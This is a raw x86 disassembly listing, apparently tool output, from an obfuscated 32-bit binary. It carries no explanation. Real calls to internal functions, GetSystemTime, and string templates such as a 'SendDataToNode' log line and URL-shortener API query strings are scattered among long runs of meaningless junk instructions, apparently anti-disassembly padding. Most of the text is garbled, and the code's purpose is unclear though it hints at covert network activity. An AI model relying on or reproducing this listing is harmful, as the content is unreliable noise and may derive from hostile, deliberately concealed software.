movsb byte es:[edi], byte [esi]
mov bh, 0x16
mov edi, 0x4cb18737
pop edi
xor edi, dword [ecx - 0x5688cff7]
xchg dword [ecx - 0x46cca0b4], esi
or dword [eax], esi
ja 0x1009ceca
test eax, 0xddb14751
push ecx
inc edi
mov cl, 0xdd
push es
cmpsd dword [esi], dword es:[edi]
xchg ecx, eax
pop edi
sub eax, 0x534f95a2
xchg ebp, eax
dec edi
push ebx
jge 0x1009cf17
xor dword [edx - 0xa], esi
jl 0x1009cf2b
cmp dword [ebx], ebp
dec esp
add eax, 0x487ff9ab
stc
inc ebx
nop
xor edi, dword [edi - 0x37]
jbe 0x1009cf60
mov dl, 0x87
inc edi
and bh, bl
cmpsb byte [esi], byte es:[edi]
test eax, 0x4035a001
jge 0x1009cf20
add dword [eax - 0x3182bfcb], esp
push 0x6d
sbb eax, 0x18460e90
aam 0x26
push ds
lodsb al, byte [esi]
xchg byte [esi - 0x2e], ch
ror byte [ebx], 0x1e
push ecx
rol byte [ecx - 0x7ffd7163], 1
push esi
sti
cmp byte [ebp + 0x2a], bh
shr bh, 1
mov al, 0x52
mov eax, dword [0x414c6528]
test al, 0x27
or byte [edi - 0x68], ah
test dword [edi - 0x1c], ecx
mov word [edx + 0x17], cs
enter 0x3786, 0xfffffffffffffff3
popfd
lea ecx, [ebp - 0x183c]
call fcn.10062cf7
mov eax, esi
jmp 0x1009c798
lea ecx, [ebp - 0x1860]
call fcn.10001000
pushfd
test byte [0x1009cfef], 0x70
je 0x1009cff0
aad 0x1d
and ch, byte [ebx - 0x73ea7aad]
test eax, 0xaf8c3688
test al, 0x1c
lahf
fistp dword [eax]
mov ch, 0xfa
ja 0x1009cfe6
stosd dword es:[edi], eax
add esp, dword [edx]
mov ebx, 0x4fdcc1ff
jo 0x1009cff2
mov dh, byte [ecx - 0x74e259bc]
pop es
int3
push ss
out 0xa8, al
scasd eax, dword es:[edi]
mov fs, edi
or byte [esi + 9], bh
popfd
push dword [ebp - 0x1850]
lea eax, [ebp - 0x161c]
push dword [ebp - 0x184c]
lea ecx, [ebp - 0x1860]
push eax
mov byte [ebp - 4], 3
call fcn.100060ff
cmp dword [ebp - 0x1608], 0x10
mov esi, dword [ebp - 0x161c]
mov byte [ebp - 4], 4
jae 0x1009d02c
mov ch, 0xb0
out 0xff, eax
dec dword [ebp - 0x161b7b]
invalid
lea esi, [ebp - 0x161c]
push 0xbff
lea eax, [ebp - 0xdd3]
pushfd
test byte [0x1009d075], 5
jne 0x1009d076
or eax, dword [eax]
add byte [ebp - 0xdd27b], cl
call [esi + esi*8 + 0x9d07505]
adc byte [0x8e693575], al
mov eax, dword [0x71c31a7d]
invalid
imul ecx, dword [esi - 0x3ce5825f], 0xe4a0db71
push ecx
je 0x1009d02e
mov dword [esi + 0x3ad44dba], ebp
int 0xef
mov cl, 0x5e
sub byte [eax + 0x1581e1ce], ah
dec dl
push ebx
jmp [edi]
mov edx, 0xab953490
cmp dword [eax - 0x138588bd], ebx
in eax, 0xc3
pop ds
pushfd
popfd
push ebx
push eax
mov byte [ebp - 0xdd4], bl
call fcn.1011df60
push 0x7ff
lea eax, [ebp - 0x15d3]
push ebx
push eax
mov byte [ebp - 0x15d4], bl
pushfd
test byte [0x1009d0d1], 0xbe
jne 0x1009d1d2
cmp al, ah
add byte [eax + 0x39], bl
lahf
xchg edi, eax
or esi, dword [ecx - 0x64]
mov eax, 0xd96cda96
inc ebp
stc
xchg edi, eax
stc
push edx
mov bh, byte [eax + ebp*2 + 0x4a]
sub ebp, edi
mov byte [eax + 0x5c637a8f], bl
mov dl, 0xb2
and byte [ebp + 0x170c8e3], al
add bh, byte [ecx - 0x6c]
test byte [ebp - 0x1d], ah
enter 0x170, 2
jns 0x1009d067
pop eax
mov eax, dword [0x4ec691d]
mov dword [0x846f1dc8], eax
and byte [0x445449d1], al
std
sbb byte es:[eax], ch
jne 0x1009d0ca
int 0xdf
int1
salc
loop 0x1009d089
shr edx, 0x87
push edx
pop edi
xor eax, dword [ecx + ebx*2 - 3]
or al, 0x43
add dl, byte [ebx - 0xcd2103c]
int 0xc5
push esp
js 0x1009d146
dec ebx
bound eax, qword [ebp + ebx*2 + 6]
sub al, 0x21
ja 0x1009d11c
int 0xd7
pop ebp
stosb byte es:[edi], al
mov bh, byte [eax - 0xb83ec31]
xchg ebx, eax
psrlq mm2, mm4
rcl esp, cl
call 0x1c650d3
mov al, byte [0x260657d6]
test eax, 0x84df8c07
salc
push edi
push es
test eax, 0x84df8c07
or esi, ebp
add dh, dh
dec esp
jnp 0x1009d148
pop edx
or eax, 0xabdf417c
push 0xfffffffffffffff6
pop ebp
js 0x1009d1ac
rcl dword [ebp + 0x2f1832ce], cl
mov cl, 0x8d
add dword [esi + eax*2 + 0x2dd77f74], eax
leave
and byte [esi], al
les edx, [edx - 0x52854d15]
xchg esi, eax
sub dword [ebp - 0x13], ebp
insd dword es:[edi], dx
sub ebp, eax
mov al, byte [0x711a8333]
sar byte [ecx - 0x7dc06ed4], 1
int 0xe4
push es
mov bh, byte [ebp + 0x2d]
mov bh, dl
je 0x1009d14c
lea eax, [ecx]
test byte [esi + 0x74], al
jg 0x1009d124
xlatb
sub eax, 0xc40620c9
xchg edx, eax
jmp 0x1009d107
inc edx
stc
lodsb al, byte [esi]
cmp edx, edi
and esi, 0x50
fisttp word [eax - 0x6e6c1e30]
xor al, 0xb1
pop ecx
fnstsw word [esi]
cmp eax, 0x5d62d5a6
aad 0xed
mov dh, 0xf6
mov edx, ds
xor byte [ebx - 0xa], 0x21
out dx, al
adc eax, 0xadcce8e5
adc byte [eax + 0x31], dh
push esi
add dh, byte [ebx + 0x2cbe5be]
aaa
sbb al, 0x1b
salc
out dx, eax
cmp dh, bl
sbb eax, 0x3f890ac9
mov ebx, 0xd5b96225
push ecx
sub al, 0x30
outsb dx, byte [esi]
test byte [0xa6c2ca99], al
mov dl, 0x46
in al, dx
ficom word [esi]
mul byte [ebx + edi*2 + 0x79a621e2]
inc edx
loop 0x1009d1ee
cmpsb byte [esi], byte es:[edi]
jns 0x1009d234
inc edx
pop esi
popfd
call fcn.1011df60
push 0x103
lea eax, [ebp - 0x1d3]
push ebx
pushfd
test byte [0x1009d2a9], 0xf5
jne 0x1009d2aa
mov eax, 0xe3000000
dec ebx
jecxz 0x1009d23f
popal
imul ebx, edx, 0x2b
js 0x1009d1cb
cmp byte [ecx - 0x6c3fb7a3], al
sub cl, 0xee
test ch, cl
inc esi
mov bl, 0x6d
mov ah, 0x42
int1
xchg edx, eax
mov ch, 0xed
cmpsb byte [esi], byte es:[edi]
sbb ch, bh
lds ecx, [edi + 0x65]
xchg ecx, eax
xchg byte [edi], bh
mov ah, 0xbe
salc
clc
push 0x6e
add al, 0xd9
int3
jnp 0x1009d244
push cs
inc esi
movsb byte es:[edi], byte [esi]
cmp dword [ecx - 0x25f27be4], eax
and edx, dword [ecx - 0x15]
out dx, eax
call 0x944f9858
or eax, 0xec1ce9a5
push ecx
jmp 0x1009d235
adc dh, al
inc ebp
test byte [0xec1ce9a5], cl
pop ebp
or ebp, edi
popal
loop 0x1009d2bc
sahf
inc esp
loopne 0x1009d2ae
dec esp
int3
popfd
push eax
mov byte [ebp - 0x1d4], bl
call fcn.1011df60
add esp, 0x24
lea eax, [ebp - 0x15e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
pushfd
test byte [0x1009d302], 0xb7
jne 0x1009d403
sub al, 0xfe
invalid
sbb al, 0xea
invalid
or dword [ebp + edi*8 + 0x10], edx
int3
push edi
mov ebx, 0x6cd4753b
inc edi
popfd
movzx eax, word [ebp - 0x15d8]
push eax
movzx eax, word [ebp - 0x15da]
push eax
pushfd
test byte [0x1009d484], 0xfc
adc ah, bh
jne 0x1009d485
jno 0x1009d47c
aad 0xd
or bh, 0x27
xor eax, 0xa3ecf6dd
test byte [esi + edx*8 + 0x2bef51be], ah
xlatb
sbb cl, byte [eax]
psrad mm5, qword [ebx + 0x17c842a7]
test dword [ebx], ebp
int1
jnp 0x1009d41a
and dh, byte [ecx]
aam 0xa0
or bl, bl
jne 0x1009d492
mov dword [esi + ebp*8], eax
jg 0x1009d43b
arpl bp, dx
sub byte [edi], ah
pop edi
jge 0x1009d3fc
test byte [edi + 0x2d553452], bl
cmp eax, 0x56d850ac
mov ecx, 0x2329a29a
test dword [eax - 0x362b1b20], 0xec6158ff
pop eax
popal
in al, dx
xchg ecx, eax
add byte [edi], cl
adc byte [edi], ah
mov edx, 0x406d11ee
lodsb al, byte [esi]
adc eax, 0xed7572b1
jne 0x1009d46b
test edx, edx
fmul dword [ebp - 0x2f]
mov ch, bl
popfd
movzx eax, word [ebp - 0x15dc]
push eax
movzx eax, word [ebp - 0x15de]
push eax
pushfd
test byte [0x1009d4d2], 0xd8
je 0x1009d4d3
ljmp 0x5f6:0x9c50ffff
je 0x1009d4a3
jmp ecx
loope 0x1009d4b4
dec esi
salc
add edi, dword [ebp + esi*2 - 0x51]
clc
add bh, byte [edx + 0x2584d8d4]
mov byte [eax], cl
or byte [esi - 0x39b6a146], ah
les ebp, [edi + 0x20b94655]
movsb byte es:[edi], byte [esi]
mov eax, 0x9d317364
cmpsb byte [esi], byte es:[edi]
mov edx, 0xc4c6495e
scasd eax, dword es:[edi]
push ebp
inc esi
mov ecx, 0x64b8a420
jae 0x1009d4f5
popfd
inc edx
bswap esi
pop ds
dec ebp
xchg esi, eax
nop
fisttp qword [eax + 0x29d3f714]
daa
popfd
movzx eax, word [ebp - 0x15e2]
push eax
pushfd
test byte [0x1009d5aa], 0xbb
jne 0x1009d5ab
loop 0x1009d4b3
mov edi, 0xd8009121
mov dl, 0xfb
add dword [edi - 0x3873c421], edi
daa
fistp qword [ebx]
mov edi, es
pop eax
push es
cdq
sub byte [eax + 0xc], al
xchg ebx, eax
scasb al, byte es:[edi]
jg 0x1009d4a0
cmp eax, 0xa9a7fbaf
sal edx, cl
mov dl, 0x37
pop es
fnsave dword [edx - 0x44a56498]
push cs
mov edx, 0xd67d930d
clc
sub dh, byte [ebx + 0x54]
adc eax, 0x65b25119
or byte [edx + eax + 0x59], bl
pop edx
pop es
imul edx, dword [edx + edx*8 + 0x532c08bc], 0x67078e8f
cwde
insd dword es:[edi], dx
push es
and ebx, esi
sbb dword [ebp + 0x14], ebx
sub eax, 0x21386a96
shr al, cl
loopne 0x1009d545
dec dword [edi - 9]
push edi
wait
dec edi
not dword [edi - 0x65]
push ebx
sub byte [edi], 0xdc
pop edi
and al, 0x9b
ficomp word [edx + 0xfa8c77c]
push ecx
xor dword [edi], 0xacc796d1
push ecx
or eax, 0x2b294c42
xor eax, 0x1dca20cf
sal edi, 1
arpl word [ecx + 0x54], di
ja 0x1009d5cd
cdq
jle 0x1009d5e1
dec edx
cmp al, 0x3e
xchg edx, eax
xchg edx, eax
nop
and byte [edi - 0x38], dh
mov edx, 0x5725044f
mov edx, 0xb88caed6
push cs
mov al, byte [0x112492dc]
in al, 0x21
or esi, dword [edi]
xor al, 0x75
inc edx
into
out dx, eax
popal
stosb byte es:[edi], al
pop ss
push ss
cld
cwde
imul ecx, dword [0xd168ea77], 0x3c
mov cl, 0x25
push cs
cmp eax, 0xca2a0bae
popfd
movzx eax, word [ebp - 0x15e4]
pushfd
test byte [0x1009d5e7], 0x60
jne 0x1009d5e8
sti
in eax, 0x54
inc ecx
mov cl, 0x64
js 0x1009d576
mov ah, 0xc3
mov byte [edx], cl
push eax
dec dword [ecx]
push ecx
pop ebx
xor bl, bl
enter 0xb22, 0xffffffffffffffb5
neg dword [esi + 0xfcff1a6]
cmp byte [edi - 0x29], dl
imul eax, dword [edx + 0x23], 0xffffffee
jl 0x1009d5fd
jg 0x1009d5da
add edi, ebx
out dx, eax
popfd
push eax
push edi
pushfd
test byte [0x1009d64d], 0xf0
je 0x1009d64e
pop esp
sbb ebx, dword [ecx + 0x3a]
add byte [ebx], al
push edi
pushal
pop ebp
inc edi
and eax, 0x4d811d73
inc esi
stosb byte es:[edi], al
aas
xor byte [ebx - 0x19], ch
dec eax
mov esp, 0xdf4cf5a2
loop 0x1009d65a
dec edx
push ecx
xor dword [ecx], edi
dec edi
or dword [ebx], ecx
xor ax, 0xb59d
test dword [ebx - 0x56726a28], edx
loop 0x1009d5d0
mov ch, 0x85
xchg ebx, eax
fcom dword [ebp - 0x561d5673]
cmp dl, byte [ecx + eax*4 - 0x55]
aaa
test dword [ebx - 0x41c5b88c], ebp
and esi, edi
and al, 0x9d
push ebx
xchg esp, eax
aaa
inc eax
jns 0x1009d5ec
cmp esi, dword [ebx - 0x7e]
cli
pop ebx
cmp al, 0x42
out dx, al
sal dword [ebp - 0x47], 0xf0
dec ebx
int1
in eax, 0x75
push 7
popfd
call fcn.1004b712
pop ecx
push eax
push str.Begin_SendDataToNode_to__s_Time:_d__d__d__d:_d:_d
push ebx
push 3
call fcn.10049c0c
push esi
adc byte [ebx + 0x6a], dl
add ebp, eax
test eax, 0x56fffac5
pushfd
test byte [0x1009d6c2], 0x9e
jne 0x1009d6c3
sbb eax, 0x33d29e41
dec esp
outsb dx, byte [esi]
insb byte es:[edi], dx
call 0x9b4e0d14
cmp byte [ebx], dh
int 0x8c
les ecx, [esi + 0x46]
enter 0xffffffffffffccfe, 0xffffffffffffffee
mov fs, edx
inc eax
jecxz 0x1009d61e
cmp al, 0x5c
mov dl, 0xba
fdivr dword [ebx + ebx]
cmpsb byte [esi], byte es:[edi]
push ss
cmpsd dword [esi], dword es:[edi]
dec edx
clc
mov dl, byte [ebx - 0x4f]
leave
mov edx, dword [ebp + 0x46]
mov esp, 0x6c536a34
cld
fnstcw word fs:[edi]
dec esp
dec edi
das
mov ebx, 0x713d8417
xchg esp, edx
mov bh, 2
mov ch, 0x54
jecxz 0x1009d6eb
push esi
or byte [ebp - 0x62], dl
push es
inc edi
pop esp
pushfd
inc esi
pop esp
int 0x26
popfd
lea eax, [ebp - 0x15d4]
push str.http:__www.google.com_q_s
push eax
call fcn.1011f090
add esp, 0x34
mov dword [ebp - 0x1848], ebx
cmp dword [ebp - 0x1848], 1
jne 0x1009d6f3
cmp byte [ebp - 0x90], bl
je 0x1009f80f
invalid
mov dword [ebp - 0x1850], ebx
mov dword [ebp - 0x184c], ebx
pushfd
test byte [0x1009d748], 0x67
jne 0x1009d849
cmp al, 1
add byte [eax], al
fsubr st(1)
fsub dword [0xe8b390de]
push edx
sahf
add esp, dword [edi - 0x47]
mov dh, byte [ebx - 0x3b69abbb]
mov ecx, 0x3d28f465
sub dl, byte [ecx + 0x67]
mov esi, 0xc9bdd558
cmp al, 0xff
sti
or eax, 0xdd8f90bd
sbb dl, dl
dec ebx
in eax, 0xd7
out 0x71, al
xchg esp, eax
in al, 0xbc
in eax, 0x66
insd dword es:[edi], dx
or dword [edi], eax
push ebp
push eax
sar dword [ebx - 0x433bb42e], 1
sahf
adc ecx, ecx
sbb bh, byte [ebp + 0x77]
jge 0x1009d7ca
jo 0x1009d78a
and ecx, dword [eax]
mov edi, 0x83c89658
cmp byte [edi - 0x4c], bl
jb 0x1009d709
xchg esp, eax
pop ebp
inc eax
into
out dx, al
pop edx
push esi
mov al, 0x4b
mov cl, byte [edi + 0x36202a6f]
sbb byte [ebp + 0x4824242e], ch
mov edi, 0xacd00ebe
imul eax, dword [edx - 0x72], 0x621d2e1d
clc
dec edi
pop ds
ffreep st(7)
xor esi, 0x601398c0
inc eax
cwde
adc esp, dword [eax + 0x40]
sbb al, 0x33
sub ebx, dword [eax]
jne 0x1009d751
sahf
push edi
mov esi, 0xb670113a
sal dword [0xa559c56f], 1
imul dword [ebx]
xchg byte [esi], ah
stosb byte es:[edi], al
rol edx, cl
and esi, dword [ecx - 0x80]
push ebx
xchg edx, eax
sbb eax, 0xa506b865
cmc
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
arpl word [edx + 0x47], cx
aad 0xd
popfd
sbb eax, 0xae888c28
mov bl, 0x5d
ror dword [edx - 0x23e796f9], 0x8b
stosb byte es:[edi], al
std
faddp st(0)
pop edx
lds ebp, [edx + 0x4cf534ad]
cmc
dec esp
lea esi, [ecx - 0x7efee3a0]
add edi, eax
adc al, 0xa8
add eax, 0x5bf8d30b
sar eax, cl
pop ebx
shl ch, cl
rcr dword [ecx], 1
sub al, 0x5c
das
enter 0x5a56, 0x10
outsd dx, dword [esi]
inc edi
scasb al, byte es:[edi]
and al, 0x10
inc ebx
xlatb
sub dword [ebp + 0x3e], ebp
idiv byte [edi - 0x26]
or dword [edx - 0x1f7ef623], ebx
cmp byte [ebx + 0x6378008d], bh
jl 0x1009d7d3
movsd dword es:[edi], dword [esi]
jge 0x1009d7e1
cmp dl, byte [edx]
sahf
pop es
sbb byte [ebx - 0x3d], dh
inc ebp
adc eax, 0x660be155
sub edi, dword [edi + 0x5a]
clc
mov ebx, 0x31d163b8
pop esi
ja 0x1009d7b3
fbld tbyte [ecx - 0x5d8f8025]
loop 0x1009d7cc
xchg ecx, eax
xlatb
movsb byte es:[edi], byte [esi]
sbb dword [eax + 0x769b6c56], ecx
pop ebx
stosd dword es:[edi], eax
in al, dx
sbb dword [edi], 0xffffffb8
mov dword [0xf1180ffb], eax
adc dword [eax + 0x47], esp
sti
cmp al, 0xbe
popfd
mov dword [ebp - 0x1844], ebx
push dword [ebp - 0x1844]
movzx eax, word [ebp - 0x15de]
push eax
movzx eax, word [ebp - 0x15e2]
push eax
pushfd
test byte [0x1009d887], 7
mov bh, 0x85
and ch, dl
invalid
adc byte [edi], al
jne 0x1009d988
sub eax, 0xf1cc07b0
xchg edi, eax
inc ebx
inc esp
push es
cmp al, 0x5b
cmp eax, 0x7ab5c6af
dec esp
ficomp dword [eax]
pop esi
sub al, 0x93
adc ch, byte [edi + 0x4c]
push ebp
pop ecx
movsb byte es:[edi], byte [esi]
dec eax
sbb ch, byte [edi + ecx*4 - 0x63d559ad]
in eax, dx
mov al, byte [0x255fd0eb]
inc edi
sub ch, ch
push ebx
jbe 0x1009d857
jg 0x1009d8aa
pop esp
cmc
and dword [ebx], ebp
loopne 0x1009d8c7
loopne 0x1009d86c
lds ebp, [ebx + 0x2547fa43]
and byte [eax - 0x468a9ab3], ch
sub eax, 0x9e9845e9
cmp ebp, dword [0xa74ba1e4]
sub eax, 0xa74ba1e4
push ebx
sbb byte [eax - 0x66], cl
mov ebx, 0xe4ec1f12
dec edi
dec eax
lcall 0x4fe4, 0xec1f12bb
pop es
cmp bl, byte [ecx + 0x61bc77c9]
add dword [edx - 1], 0x50
out dx, eax
das
mov eax, dword [0x132d511a]
xor byte [ebp - 0x24], 0xd1
pop ebp
je 0x1009d913
in eax, 0x74
jge 0x1009d8c0
mov eax, dword [0xcbd74005]
add dword [ecx - 0x23330b3], eax
or eax, 0x5d7b2119
mov eax, dword [0xad6f2089]
minps xmm5, xmm2
stosb byte es:[edi], al
jbe 0x1009d96a
retf
adc byte [edi + 0x34], dl
adc eax, 0x308e8f4a
xchg al, ch
cmp dword [esi - 0x541944d2], ebx
inc ecx
fdiv dword [esi - 0x2d629629]
imul ebp, dword [ebx + eax*2 + 0x58], 0x4e
or eax, ecx
sahf
mov ebx, 0xd841abe6
mov dh, 0xd7
imul ebx, dword [ebp + 0x436c6bd2], 0xc8094e58
xchg byte [edi - 0x2abafd15], dh
sbb dword [ebx], ecx
fmul dword [esi + ebx - 0x613d0699]
cdq
pop es
lahf
mov al, byte [0xda8b0dcd]
xchg esi, eax
pop ds
test eax, 0x40afef2e
sub al, 0x84
and al, 0x5d
push ebx
xor edi, ecx
scasb al, byte es:[edi]
adc eax, 0x8bd32b72
clc
inc ecx
jo 0x1009d9b4
test al, 0x41
jae 0x1009d9a6
sbb byte [edx - 0xbda716], bl
leave
ror word [ebx + 0x270f1804], 1
ror dword [eax - 0x3c], cl
jle 0x1009d8f1
dec eax
les edi, [esi - 0x7d]
xchg esp, eax
outsb dx, byte [esi]
mov edi, 0x5870bc49
daa
jns 0x1009d9dd
shr byte [esi - 0xd], cl
xor byte [ebp - 0x3a79c5bb], 0x75
scasd eax, dword es:[edi]
scasb al, byte es:[edi]
aaa
xchg ebp, eax
mov ch, 0x53
popfd
movzx eax, word [ebp - 0x15e4]
push eax
pushfd
test byte [0x1009da67], 0x1c
jne 0x1009da68
jecxz 0x1009d9ae
sbb dword [edx], edx
salc
out 0xc4, eax
sub eax, 0x342b68b6
clc
pop esp
add al, 0xd7
xlatb
push edi
pop ds
lds eax, [esi]
inc edx
shr dword [0xb64155ae], cl
add byte [edi], bl
sub dword [ebx], edx
xchg edx, eax
fidiv dword [0x450536f7]
pushal
pop ss
rol dl, 0xfe
jle 0x1009d9f9
xor eax, 0x3786633b
cmp esp, dword [ebx - 0x7a]
aaa
pushfd
int3
pop esp
cli
outsd dx, dword [esi]
stosb byte es:[edi], al
in al, dx
xchg esp, eax
cmpsd dword [esi], dword es:[edi]
xchg ecx, eax
mov eax, dword [0x81760dab]
push es
mov dword [0x1584fc63], eax
imul ebp, dword [esi + edx*8 - 0x7e], 0xf82c2b97
mov cl, 0x39
loop 0x1009d9b3
cmp edx, esp
mov bh, 2
or al, 0x2f
add cl, byte [edi + ebp]
ror dword [ecx + 0x108ea51], 1
jno 0x1009d9b0
mov ah, 0x2c
sbb byte [edx + 0x26], dh
and eax, 0xb1cd0108
popfd
inc ebp
inc esi
sal dword [ecx], 1
add dh, 0xa5
out dx, al
stosd dword es:[edi], eax
mov eax, dword [0x215ea973]
in al, dx
xor dl, bh
inc edi
aas
and al, 0x2b
xlatb
jbe 0x1009d9cd
fisubr word [edx]
imul eax, dword [ebx - 0x4e625858], 0xb758fe08
mov cl, 8
invalid
out 0x42, al
xchg ebp, eax
push dword [edx]
jno 0x1009daaf
neg byte [ebx + 0x77250e4e]
salc
outsd dx, dword [esi]
fidivr word [ebp + 0x1ec14acc]
xor ecx, edi
in al, 0xce
jle 0x1009da32
fst st(5)
xor al, 0x19
aaa
inc edx
and eax, 0x673f3daa
ja 0x1009da37
sal dword [ebx + 0x5c], cl
add eax, 0xb249ff86
leave
popfd
lea eax, [ebp - 0xd0]
pushfd
test byte [0x1009da7a], 0xa4
jne 0x1009da7b
dec esp
out dx, eax
popfd
push eax
pushfd
test byte [0x1009db6d], 0x71
jne 0x1009db6e
add byte [eax], al
add byte [esi - 0x5edbdedd], bl
sahf
and esp, dword [ecx]
and al, 0xa1
int3
jae 0x1009dad1
in al, 0x95
or byte [edx - 0x4d], ah
stc
ja 0x1009dacf
mov fs, esi
int3
mov dword [edi + 0x49de65c8], edi
enter 0xffffffffffffde65, 0x49
push 0xfffffffffffffffc
salc
push ss
outsd dx, dword [esi]
jno 0x1009daab
cmpsd dword [esi], dword es:[edi]
xlatb
pop dword [ebp - 0x1f]
sbb bl, byte [esi + ebx*8 + 0x43902635]
and dword [esi + edi*2 - 0x3a], ebx
or ebx, dword [eax - 0x65f8942a]
aam 1
imul edi, dword [esi - 0x10c47d46], 0x1e50867b
jge 0x1009da88
xchg ebp, eax
inc esi
mov bh, 0x9a
imul edi, dword [eax - 0x30], 0xffffffd7
push edi
xor ah, byte [eax + 0x28]
mov ah, 0x9e
and ah, byte [esi]
add byte [ebx + 0x22de2145], dl
dec edi
jnp 0x1009db5d
mov ebx, 0x8085f75c
cwde
cmp al, 0xf4
fst dword [eax - 0x7c3f6998]
cmp eax, 0x34f61400
or al, 0xa5
adc ch, al
inc ebx
xchg edi, eax
scasb al, byte es:[edi]
aam 0x9d
rcl byte [ecx], 0x28
push ecx
sub byte [eax - 0x3c4fe47], dl
outsb dx, byte [esi]
in al, 0x32
out 0xde, al
mov ebx, 0xba1fc26c
dec ecx
lodsb al, byte [esi]
imul ebx, dword [ecx + 0x398deedc], 0x7d
mov ebx, 0x4fcfaaec
pushfd
add ch, byte [ebp - 0x6fbdc5c4]
cmp al, byte [edx - 0x70]
dec esi
aaa
mov dl, 0xa1
adc al, 0x3b
push 0xffffffffffffffa9
sub eax, 0x600fef42
popfd
lea eax, [ebp - 0x1d4]
push str._s_d_d_d_d
push eax
call fcn.1011f090
add esp, 0x1c
lea edi, [ebp - 0x50]
pushfd
test byte [0x1009dc62], 0xca
jne 0x1009dc63
fldenv [0x6450cc9f]
cmp ah, byte [ebp - 0x68]
int 0x4a
pop esi
xchg ebp, eax
push eax
aam 0x85
xchg esp, eax
push ebp
sub al, 0
xchg esi, eax
push esp
sbb byte [eax - 0x308ebeb7], dh
fstp dword [0xf46262b3]
sub esp, dword [ecx - 0x54]
shl bl, 0x9d
jecxz 0x1009dbf0
shr dword [eax - 0x55a8b06d], 1
inc edx
lds esi, [edx - 0x17]
in al, 0xa7
dec ebp
cmp bh, ah
test eax, 0xfa297af2
dec ebx
xor bh, byte [ecx]
dec eax
push esi
loopne 0x1009dba0
adc cl, ah
inc edi
or al, 0xd0
cld
or cl, cl
popal
mov dword [0xf31eb521], eax
and eax, 0x757aa9de
aad 0xe
mov cl, 6
pop edx
movsb byte es:[edi], byte [esi]
cmpsb byte [esi], byte es:[edi]
sbb cl, 0x42
ficomp word [edi + ecx - 0x76d58c0f]
adc al, 8
jecxz 0x1009dc11
mov byte [esi], dl
mov eax, dword [0x54f2a679]
mov dh, 0x62
call 0x9d86cf5
jnp 0x1009db9d
mov ebp, esi
out dx, al
push edi
mov dh, 0x21
xchg ebp, eax
adc eax, 0x1064dfbe
add ah, al
mov ebx, 0xe36a88d7
mov ch, 0xed
mov edx, 0xdc826e58
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
sbb ebp, dword [ecx - 0x62]
lodsd eax, dword [esi]
fdivrp st(6)
cmc
or al, 0x91
sub eax, 0x6cae7b51
imul byte fs:[ebx - 0x150759fd]
mov dword [ebp - 0x1e], ecx
sbb al, 0xa2
inc eax
fst dword [eax]
cld
out 0xe3, al
pop ebx
xor cl, byte [0x304e338b]
xchg edx, ebx
pushal
jns 0x1009dbec
into
call 0x2774074a
or ah, byte [edi]
popfd
cmp dword [ebp - 0x1848], ebx
je 0x1009dc72
lea edi, [ebp - 0x90]
mov eax, dword [ebp - 0x185c]
cmp dword [eax + 0x19], 1
mov esi, str._s_index.php_api1return_url_text1longUrl_scustomUrl_s
je 0x1009dc88
mov esi, str._s_api.php_actionshorturlformatsimpleurl_skeyword_s
lea eax, [ebp - 0x1d4]
push eax
call fcn.100ac8a4
pushfd
test byte [0x1009dd81], 0xc6
jne 0x1009dd82
sahf
mov ecx, 0xa7ac4f59
sar dword [eax], 0x24
sub dword [edi], ecx
test ch, ah
fstp qword [ebp + 0x756c2aca]
sti
or ebx, dword [ecx - 0x58]
dec ecx
and byte [ebx - 0x6b], ah
test dword [edi + 0x20384e67], ecx
push es
js 0x1009dd21
xlatb
jge 0x1009dce9
out dx, al
imul dword [ebx]
aad 0x1c
mov edi, 0x42e9bf45
xor dword [0x38bcb763], 0x45
aaa
push 0x8d21ea74
pop esp
lodsd eax, dword [esi]
xor eax, 0xce7d51c1
out dx, eax
invalid
test al, 0x75
xchg edi, esi
or byte [edi + 0xb5d92c6], 0xad
iretd
fimul word [eax + 0x13]
jge 0x1009dd33
outsd dx, dword [esi]
xor byte [ecx*2 - 0x2353987], ah
cld
jno 0x1009dd10
aam 0x26
insd dword es:[edi], dx
mov edi, 0x358e691f
sub al, 0xb9
pop ebx
and esi, ebx
out 0x93, al
mov eax, ecx
pop esi
fimul word [edx + ecx - 0xc]
mov edx, 0x564a3c16
push cs
inc edx
test al, 0x24
sbb ebx, 0xffffffe5
cdq
leave
inc ebx
jle 0x1009dd21
leave
mov al, 0xbe
mov edx, 0xbb456fd6
xchg ecx, eax
in al, dx
daa
push cs
or eax, 0x6bf746f3
fidiv dword [eax - 0x64]
sbb al, 0x3d
nop
aam 0xe1
xchg ecx, eax
cwde
mov dword [0x1a69], eax
pop ds
or ebx, dword [esi + 0x7eca420f]
mov gs, word [edx]
popfd
push eax
lea eax, [ebp - 0x15d4]
pushfd
test byte [0x1009dde7], 0x12
jne 0x1009dde8
test al, 0xf3
mov word [ebp - 0x3a57e916], cs
adc al, 0xae
jbe 0x1009dd57
push esp
sbb eax, 0xa9c3da7
dec ebp
jno 0x1009dd8a
adc cl, bl
sbb ah, dh
cmp eax, esi
mov dword [0xf9465b14], eax
and eax, 0xa9fd434
and dh, 0xb2
lds edx, [ecx]
movsb byte es:[edi], byte [esi]
jle 0x1009dd70
or al, 0x57
fdiv dword [ecx + 0x46]
xor byte [ebx - 0x5c194b74], cl
inc edi
and dword [esi + 0x5885e9b0], esp
jne 0x1009dddb
xor byte [eax], dh
lea ecx, [edi]
inc ebx
add ecx, esp
bound ebp, qword [edi]
loope 0x1009de3f
das
invalid
popfd
push eax
push edi
lea eax, [ebp - 0xdd4]
push esi
push eax
call fcn.1011f090
lea eax, [ebp - 0xdd4]
push eax
call fcn.1011d740
pushfd
test byte [0x1009deef], 0x11
jne 0x1009def0
dec esi
pushfd
sub dword gs:[ecx - 0x18], ebx
and cl, byte [esi + ebx*4 - 0x65331774]
test al, 0x39
mul byte [esi + 0x2545a9d8]
je 0x1009ddff
adc ebx, esp
push edi
push ebp
and ah, dl
rcr byte [edx + 0xc], cl
enter 0xffffffffffff8f97, 0xffffffffffffff95
aad 0x9c
mov dword [0xdf7b8184], eax
stc
insd dword es:[edi], dx
loop 0x1009de59
dec ecx
sbb byte [ebx - 0x7e7eaf14], ch
sbb dword [ebp + esi*4 - 0x47], eax
test al, 0xcd
dec edi
cld
mov eax, 0x41017063
ja 0x1009ddf8
dec ebp
loop 0x1009de39
inc edx
add ebx, dword [eax + 0x34]
arpl word [ebx - 0x5a], si
adc al, 0x6b
pop eax
mov dl, 0x24
insb byte es:[edi], dx
popfd
pop ebx
pop ebx
mov esi, 0x1654037e
inc ebx
das
